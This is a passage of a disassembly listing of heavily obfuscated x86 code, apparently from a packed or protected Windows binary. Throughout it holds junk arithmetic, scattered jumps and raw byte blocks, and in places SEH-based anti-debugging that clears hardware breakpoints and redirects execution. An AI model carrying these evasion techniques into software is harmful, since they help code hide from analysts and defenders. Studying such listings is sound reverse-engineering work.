--------------------------------------------------------------------------- xor eax, 0FFFFDCh add cl, ch cmp eax, 0FFFFDDh ; START OF FUNCTION CHUNK FOR sub_4378C2 loc_43B3C8: ; CODE XREF: sub_4378C2:loc_438CB5j jz loc_43EF41 push dword ptr [ebp+10h] push esi mov esi, eax xchg esi, [esp-4+arg_0] push offset dword_43EC48 jmp near ptr dword_43718C+0BAh ; END OF FUNCTION CHUNK FOR sub_4378C2 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B3E2: ; CODE XREF: sub_439ED1+43E5j add ebx, ebp cmp edx, 5220C4FCh jmp near ptr dword_43718C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h dd 30CD8100h, 13132907h, 556E9E9h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B400: ; CODE XREF: sub_439ED1:loc_43A3F0j push ecx mov ecx, offset loc_43F691 jmp loc_43A538 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0DACC6800h, 84E9819Dh, 0FFFFECh, 5A241487h, 0AF6E8h dd 0AAE90000h, 68FFFFF0h, 43F90Dh, 0B0BE9h db 0 ; --------------------------------------------------------------------------- loc_43B431: ; CODE XREF: _802izwe5:loc_43D963j push ebp sub ebp, edx jmp loc_43F213 ; --------------------------------------------------------------------------- align 2 loc_43B43A: ; CODE XREF: _802izwe5:00438C30j push 31782FAEh pop ebx add ebx, 15114881h and ebx, 0AEF6723Dh jmp loc_43F943 ; --------------------------------------------------------------------------- align 2 loc_43B452: ; DATA XREF: sub_438E1C+1Ao mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_43F5FB xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- dd 0CBE90000h, 0FFFFFDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6E loc_43B46C: ; CODE XREF: sub_438A6E+5j jmp loc_43AE0F ; END OF FUNCTION CHUNK FOR sub_438A6E ; --------------------------------------------------------------------------- db 2 dup(0), 67h ; --------------------------------------------------------------------------- icebp pushf shr esi, 1Ah jmp loc_43F832 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43B47F: ; CODE XREF: _802izwe5:loc_43E3CBj pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_43B481 proc far ; CODE XREF: sub_43C65A+2F3p ; FUNCTION CHUNK AT 004399C5 SIZE 00000005 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_4399C5 sub_43B481 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C034 loc_43B494: ; CODE XREF: sub_43C034-22E2j push edx push 1663627Eh pop edx or edx, 5F94F63Dh rol edx, 1Bh jmp loc_43F0F4 ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 67h dd 36FF64h, 89646700h, 0E9000026h, 0FFFFCFE2h, 26E88100h dd 81FAE0C4h, 0B9136CC0h, 0F86E8F7h, 0A4E90000h, 0FFFFDEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B4D4: ; CODE XREF: sub_439ED1:loc_43AAFEj lock icebp jmp loc_43BB41 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 loc_43B4DC: ; CODE XREF: _802izwe5:loc_439C0Dj ; _802izwe5:loc_43EC8Fj rol esi, 1Dh and esi, 0CC2468CFh add esi, 0F8236F27h xchg esi, [esp] jmp loc_43AF93 ; --------------------------------------------------------------------------- align 4 xchg esi, [ebp+0] jmp near ptr sub_43DBE4 ; --------------------------------------------------------------------------- dd 0E8030000h, 1F08E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B507: ; CODE XREF: sub_439ED1:loc_43A122j mov byte ptr [edi], 9Ch pop edi mov ecx, ebp xchg ecx, [esp-18h+arg_10] push 0BEAA3694h pop eax add eax, 598CBBD4h jmp loc_43E1C6 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_43B523: ; CODE XREF: _802izwe5:00437E8Aj retn ; --------------------------------------------------------------------------- dd 12B0E900h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B52C: ; CODE XREF: sub_439ED1-55Dj jmp loc_43C3AE ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- jmp loc_43ACF4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C034 loc_43B537: ; CODE XREF: sub_43C034:loc_43AF6Aj cmp edx, 0E638CD14h jmp loc_43AF6F ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B542: ; CODE XREF: sub_439ED1+676j push offset word_43F056 jmp loc_43B27D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0C1810000h, 4, 0C1810189h, 4, 0C1810189h, 4, 0C1810189h dd 0A0h, 0D10601C7h, 14E90043h, 2, 0E9C38100h, 0E9BC0CBDh dd 0FFFFDFCDh ; --------------------------------------------------------------------------- loc_43B584: ; CODE XREF: _802izwe5:loc_43D898j push ecx jmp near ptr dword_437428+0C6h ; --------------------------------------------------------------------------- mov ecx, edx pop edx retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C604 loc_43B58F: ; CODE XREF: sub_43C604+20F0j jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_43C604 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B595: ; CODE XREF: sub_439ED1+2E14j jmp loc_43F535 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- jmp loc_43DB41 ; --------------------------------------------------------------------------- align 10h dd 0FF646700h, 0E9000036h, 41Dh, 0FBE2815Ah, 812723DBh dd 0A457BFC2h, 1FE953B6h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B5BF: ; CODE XREF: sub_439ED1+398j ; sub_439ED1:loc_43E01Bj js sub_43971E push offset dword_439B78 jmp loc_43D4E8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax jmp loc_43AFE6 ; --------------------------------------------------------------------------- align 10h dword_43B5F0 dd 0FD689C56h, 5EE59E13h, 0F55CE681h, 0C6C16084h, 0C6810Bh ; DATA XREF: sub_439ED1-1E7Bo dd 9DDF751Dh, 0FFC01EE9h, 39C681FFh, 39A5BB4h, 18A5ECEh dd 9CC181h, 1000000h, 1ABAE9h, 0DC3C100h, 8E9EF3Bh, 0FFFFD6h dd 0F2F08100h, 81447CC2h, 0F667C0C0h, 36A2E8B6h, 4DE90000h dd 0FFFFD4h db 0 ; --------------------------------------------------------------------------- loc_43B649: ; CODE XREF: _802izwe5:loc_43E209j mov eax, ecx xchg eax, [esp] push 0D15B736h pop ecx xor ecx, 433F8304h jmp loc_43C401 ; --------------------------------------------------------------------------- xchg ebp, [esp] push 0C670C846h pop esi ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43B668: ; CODE XREF: sub_43F688:loc_43EE61j or esi, 0EB76BB60h xor esi, 0CFE83379h jmp loc_439FD7 ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], 437A71h jmp loc_43EB81 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43B69B: ; CODE XREF: sub_43C65A:loc_43F0D9j add ecx, ebx pop ebx call sub_43CC6B jmp loc_43E8A7 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 5E8D0F00h, 6800002Dh, 43B1DCh, 271FE9h, 0C1990000h dd 0AE905EDh, 0FFFFF4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43B6C5: ; CODE XREF: sub_43C65A:loc_43975Cj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_43EC9C ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43B6E1: ; CODE XREF: sub_43C65A+100j call sub_43F7F5 jmp loc_4380EA ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 xchg ebp, [edx] jmp loc_43F1F0 ; --------------------------------------------------------------------------- align 4 dd 81CC8B00h, 10C1h, 0C7098B00h, 1001301h, 3FD2E900h, 81000000h dd 20A3B3C5h, 3CEC140h ; --------------------------------------------------------------------------- loc_43B714: ; CODE XREF: _802izwe5:0043B919j call sub_43E530 add cl, ch or al, 8 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B71F: ; CODE XREF: sub_439ED1+445j jmp loc_43EA72 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 6FC6F700h, 0E9C6F95Dh, 0FFFFD646h, 0C1810000h, 4, 0C1810189h dd 4, 0C1810189h, 4, 6CEE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B74D: ; CODE XREF: sub_439ED1+24A0j mov ecx, (offset loc_438E0C+1) jmp loc_43CDEB ; --------------------------------------------------------------------------- loc_43B757: ; CODE XREF: sub_439ED1:loc_43A782j pop esi pop edx fadd qword ptr [esp+0] mov ebp, eax jmp loc_43A4FF ; --------------------------------------------------------------------------- loc_43B763: ; CODE XREF: sub_439ED1:loc_43A97Bj mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_439539 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 279Ah db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43B785: ; CODE XREF: sub_43F18B+Cj pushf jmp loc_437BC0 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_43B78F: ; CODE XREF: sub_43F3B2+15j jmp loc_43D62F ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; =============== S U B R O U T I N E ======================================= sub_43B794 proc near ; CODE XREF: _802izwe5:0043F838p push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_439A1C+19h sub_43B794 endp ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43B7A6: ; CODE XREF: sub_43F18B-20CEj ; DATA XREF: sub_439ED1+1243o pop dword ptr fs:0 xchg eax, [esp-4+arg_0] pop eax xchg eax, [esp-8+arg_4] jmp loc_43901D ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B7BB: ; CODE XREF: sub_439ED1+2CBj ; sub_439ED1+531Aj jmp loc_43801E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 byte_43B7C1 db 5Bh, 8Bh, 36h ; DATA XREF: sub_439ED1+484Eo dword_43B7C4 dd 3E43E82Dh, 0AEE90000h, 2, 81CC8B00h, 10C1h, 0C7098B00h ; DATA XREF: sub_439ED1-101Fo dd 1001301h, 81C03300h, 4C1h, 0E028E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43B7EE: ; CODE XREF: _802izwe5:0043D177j push offset dword_438AAC jmp locret_43828A ; --------------------------------------------------------------------------- dd 850F0000h, 0A0Dh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B802: ; CODE XREF: sub_439ED1+4900j jmp near ptr dword_438BA4+20h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 mov ecx, [edi] push 47420D42h push ebp and edi, 186D4F2Fh jmp loc_43C20B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B81C: ; CODE XREF: sub_439ED1:loc_43A10Bj cmp eax, 0E6F8D015h jmp loc_43DEC9 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 9D03C600h, 0E807E85Bh ; CODE XREF: _802izwe5:0043F75Bj db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B832: ; CODE XREF: sub_439ED1+552Fj jmp loc_43BB51 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CAE5 loc_43B837: ; CODE XREF: sub_43CAE5+F03j add eax, 7D9E30E5h not ebp jmp loc_437F7D ; END OF FUNCTION CHUNK FOR sub_43CAE5 ; --------------------------------------------------------------------------- dd 70E9CC66h, 8B000014h, 10C181CCh, 8B000000h, 1301C709h dd 56000100h, 0A42B3B68h, 0EE815EB5h, 4FFFDF5Ch, 0FFFDA0E9h dd 810000FFh, 1E2873C8h, 241C87F8h, 0F85DF75Bh, 0F87D83h dd 246A840Fh, 0DEE90000h, 0FFFFE9h, 81CC8B00h, 10C1h, 0C7098B00h dd 1001301h, 81C03300h, 4C1h, 0E9018900h, 0FFFFDAEBh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B8AF: ; CODE XREF: sub_439ED1+81Ej jmp loc_43C87B ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43B8B5: ; CODE XREF: _802izwe5:004399EFj jmp loc_43D8D9 ; --------------------------------------------------------------------------- dw 300h ; --------------------------------------------------------------------------- retf 8B5Ah ; --------------------------------------------------------------------------- db 9 ; --------------------------------------------------------------------------- mov dword ptr [ecx], 10013h jmp loc_43C743 ; --------------------------------------------------------------------------- add ecx, 4 mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_43A86B xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B8E5: ; CODE XREF: sub_439ED1+4C4j jmp loc_43C52A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 8B00h db 0CCh db 81h, 0C1h, 10h dd 8B000000h, 1301C709h, 81000100h, 18C1h, 81018A00h, 9CC1h dd 0E9D3E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43B90F: ; CODE XREF: _802izwe5:loc_43F87Bj mov byte ptr [edi], 0FFh pop edi xor edx, 7E7B0B8Ah jns loc_43B714 jmp loc_439E95 ; --------------------------------------------------------------------------- dd 0CB030000h, 0FFFDDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_43B92D: ; CODE XREF: _802izwe5:0043861Cj pushf push 0A3E81F94h pop eax add eax, 31D60DA0h rol eax, 7 add eax, 212D13F4h popf jmp loc_43CDB2 ; --------------------------------------------------------------------------- push esi mov esi, 439403h jmp loc_43F02F ; =============== S U B R O U T I N E ======================================= sub_43B954 proc far ; CODE XREF: sub_439ED1:loc_43CC20j ; FUNCTION CHUNK AT 0043BB76 SIZE 00000015 BYTES push ebx call near ptr dword_438150+68h loc_43B95A: ; CODE XREF: _802izwe5:0043E30Fj jmp loc_43BB76 sub_43B954 endp ; --------------------------------------------------------------------------- loc_43B95F: ; CODE XREF: _802izwe5:0043CE1Fj jmp loc_437B24 ; --------------------------------------------------------------------------- jmp loc_43EF5A ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B96A: ; CODE XREF: sub_439ED1:loc_43AA89j jmp far ptr 8722h:90F9AC68h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0Ch db 24h ; $ db 8Bh ; ‹ db 0C1h ; Á db 59h ; Y db 0E9h ; é db 9Fh ; Ÿ db 0FDh ; ý db 0FFh db 0FFh db 0 db 0 byte_43B97D db 2Eh, 0CCh, 0E9h ; CODE XREF: sub_43DC98+Cj dd 0D06h, 840F0000h, 0FFFFC113h, 50C6C5F7h, 23E92CE8h dd 0FFFFEAh, 0BCE36800h, 1CE90043h, 0F000025h, 28678Eh dd 0E5F9E900h, 0D62BFFFFh, 0FC6F830Fh, 95E9FFFFh, 0FFFFE0h dd 0F9815300h, 0BE8D9239h, 0FFE7D3E9h, 896467FFh, 0E9000026h dd 1B4Bh, 0C7DEE959h, 8F0FFFFFh, 0FFFFB9E7h, 13E91389h dd 2Dh, 4F01C700h, 330043F4h, 0C359C0h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43B9F5: ; CODE XREF: sub_439ED1+5DFj jmp nullsub_27 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 jmp loc_43C5C9 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BA03: ; CODE XREF: sub_439ED1:loc_43A25Dj push dword ptr fs:0 mov fs:0, esp jmp near ptr word_43E29E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43BA15: ; CODE XREF: sub_43DA03:loc_438D18j jge loc_43782F push 65E1101h rol edx, 6 jl loc_43B22F jmp loc_437DC6 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43BA2F: ; CODE XREF: _802izwe5:0043F1F8j jns loc_438C18 pop dword ptr fs:0 xchg eax, [esp] pop eax xor eax, 0E7C7146Ch push offset byte_43D81B jmp locret_43C3C5 ; --------------------------------------------------------------------------- align 10h dd 8B241487h, 0D78B52CAh, 0FFC6F5E9h, 810000FFh, 3E0DDAC2h dd 68D50370h, 439921h, 0FFD2BEE9h db 0FFh, 0 word_43BA72 dw 487h ; DATA XREF: sub_439ED1-19B2o dd 0D5035824h, 0FFCB87E8h db 0FFh, 51h ; --------------------------------------------------------------------------- loc_43BA7E: ; CODE XREF: _802izwe5:00438D76j jmp loc_43C0A7 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BA85: ; CODE XREF: sub_439ED1+DEDj jz loc_43EDF2 ror edx, 0Bh jmp loc_43C236 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dword_43BA94 dd 3F4FC081h db 0D0h, 69h word_43BA9A dw 0E9h ; DATA XREF: sub_439ED1+270o ; --------------------------------------------------------------------------- mov byte ptr [eax], 0 push offset dword_43BD24 jmp locret_43E9D2 ; --------------------------------------------------------------------------- align 2 loc_43BAAA: ; CODE XREF: _802izwe5:loc_43EAC0j pop ecx and ecx, 761C4EFCh or ecx, 47765D44h test ecx, 100h jmp loc_43CBAE ; --------------------------------------------------------------------------- dw 0CC8Bh dd 10C181h, 0F6E80000h, 5 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E4C6 loc_43BAD1: ; CODE XREF: sub_43E4C6+Bj jmp loc_43A12E ; END OF FUNCTION CHUNK FOR sub_43E4C6 ; --------------------------------------------------------------------------- align 4 db 87h ; ‡ db 0Ch db 24h ; $ db 59h ; Y db 87h ; ‡ db 4 db 24h ; $ db 0E8h ; è db 0Dh db 3Ah ; : db 0 db 0 db 0E9h ; é db 52h ; R db 2Ch ; , db 0 db 0 align 2 ; =============== S U B R O U T I N E ======================================= sub_43BAEA proc near ; CODE XREF: sub_43C65A+30Ep ; FUNCTION CHUNK AT 0043799B SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx push 0D8E0662Fh xchg ebp, [esp+0] jmp loc_43799B sub_43BAEA endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 39CDE8h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] align 4 dd 0FFE6AFE9h, 3D1E9FFh, 5FC30000h, 0E8E7E781h, 0C781AE92h dd 12FBC9F2h, 0E95FD703h, 0FFFFD29Fh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BB26: ; CODE XREF: sub_439ED1:loc_43BDB1j push 438FAFh jmp nullsub_50 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43BB32: ; CODE XREF: sub_43C65A+23Ej push ecx jmp loc_43733B ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_43BB3A: ; CODE XREF: _802izwe5:loc_43F98Aj retn ; --------------------------------------------------------------------------- jmp loc_43F806 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BB41: ; CODE XREF: sub_439ED1+1605j xor ecx, 0AC5BB3D3h pushf mov ebx, edx jmp loc_43AC73 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BB51: ; CODE XREF: sub_439ED1:loc_43B832j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43E9BA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 14E1C100h, 3A1E9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B954 loc_43BB76: ; CODE XREF: sub_43B954:loc_43B95Aj mov byte ptr [ebx], 87h pop ebx and eax, 159759F6h or eax, 19BA5919h jmp near ptr loc_43880A+1 ; END OF FUNCTION CHUNK FOR sub_43B954 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E9D9 loc_43BB8B: ; CODE XREF: sub_43E9D9-829j rol eax, 0Ah and eax, 2013F9Dh test eax, 2000000h jmp near ptr dword_437EF4+0Eh ; END OF FUNCTION CHUNK FOR sub_43E9D9 ; --------------------------------------------------------------------------- align 10h dd 0EBE9D0F7h, 0FFFFF0h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43BBA9: ; CODE XREF: sub_43C65A:loc_43E216j xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43C89E ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43BBC8: ; CODE XREF: sub_43DA03+10j jle loc_43A7B8 xor ecx, edi sbb ecx, 16DFFAB7h jmp loc_4376E1 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- align 4 dd 0C1FE2B00h, 0C7C109EFh, 0F7E78112h, 0F802C6Ah, 0FFCFA285h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4391DC loc_43BBF3: ; CODE XREF: sub_4391DC+6085j jmp nullsub_12 ; END OF FUNCTION CHUNK FOR sub_4391DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BBF8: ; CODE XREF: sub_439ED1-4E9j jmp loc_43A667 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0B8h dd 0F22B9515h, 0FFD68BE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BC0A: ; CODE XREF: sub_439ED1:loc_43863Aj mov ebp, eax arpl word ptr [esp+8+var_8], bp call sub_43C604 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43BC16: ; CODE XREF: _802izwe5:0043F1E0j jmp locret_43C14D ; --------------------------------------------------------------------------- align 4 dd 0FFB586E9h, 243C87FFh, 815FDF8Bh, 7621BBEBh, 0C5C381F3h dd 81A0AE35h, 5A5D38CBh, 0BE096892h, 1FE90043h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_43BC43: ; CODE XREF: _802izwe5:loc_43DDDDj add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_438FE2 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E3D6 loc_43BC55: ; CODE XREF: sub_43E3D6+1Aj jmp loc_437C71 ; END OF FUNCTION CHUNK FOR sub_43E3D6 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BC5C: ; CODE XREF: sub_439ED1-1D9Cj jmp loc_43A026 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0E9h, 0FCh, 0C9h dd 0FFFFh ; =============== S U B R O U T I N E ======================================= sub_43BC68 proc near ; CODE XREF: _802izwe5:0043AEAAp push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_438DB4+8 sub_43BC68 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43BC7E proc near ; CODE XREF: sub_43D600+7C2p push dword ptr fs:0 mov fs:0, esp jmp near ptr word_43D02E sub_43BC7E endp ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BC91: ; CODE XREF: sub_439ED1+2E01j and eax, 8795F5F8h push offset loc_437B38 jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ror ebp, 0Bh jmp loc_43DD70 ; --------------------------------------------------------------------------- align 2 mov byte ptr [esi], 9Ch xchg ebx, [esp] mov esi, ebx sbb ebx, 8C959A7Ah jmp loc_43D77F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43BCBF: ; CODE XREF: _802izwe5:00437DB3j pop edi or edi, 123DE1A4h and edi, 236B6BB1h add edi, 0DDDA393Bh jmp loc_43A122 ; --------------------------------------------------------------------------- db 50h dd 43788FB8h, 0C11FE900h, 8B00FFFFh, 240C87E5h, 0E1C1E98Bh dd 135CE905h db 3 dup(0) byte_43BCF3 db 8Bh ; DATA XREF: sub_43F18B-262Ao dd 27689D1Bh, 0E90043B4h, 0FFFFC54Dh, 4C181h, 1890000h dd 4C181h, 1890000h, 0A0C181h, 1C70000h, 43A8A6h, 41E9C033h dd 0FFFFE5h dword_43BD24 dd 0D7D1800Fh, 9668FFFFh, 8722C991h, 0C18B240Ch, 0F1E95659h ; DATA XREF: _802izwe5:0043BA9Fo dd 5AFFFFE4h, 45F1E281h, 0EA812282h, 7DBFD24Eh, 7126CA81h dd 6CE9CF48h, 24h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BD55: ; CODE XREF: sub_439ED1+5639j jnp loc_438054 pop dword ptr fs:0 xchg eax, [esp+8+var_8] pop eax xor edx, eax dec ecx loc_43BD68: ; DATA XREF: sub_43C65A-49F3o fadd dword ptr [ebp+67h] call near ptr sub_437BE6 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 dd 0DF60E900h, 0E900FFFFh, 0FFFFD63Dh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43BD82: ; CODE XREF: sub_43C65A-4E4Ej jmp loc_4376B3 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 loc_43BD88: ; CODE XREF: _802izwe5:0043C32Aj not esi jmp loc_43D739 ; --------------------------------------------------------------------------- db 87h dd 0C18B240Ch, 0D524E859h, 53E9FFFFh, 0FFFFE2h, 0BAC78100h dd 323FBEBh, 0D9E85FCFh, 0FFFFB9h db 0 ; 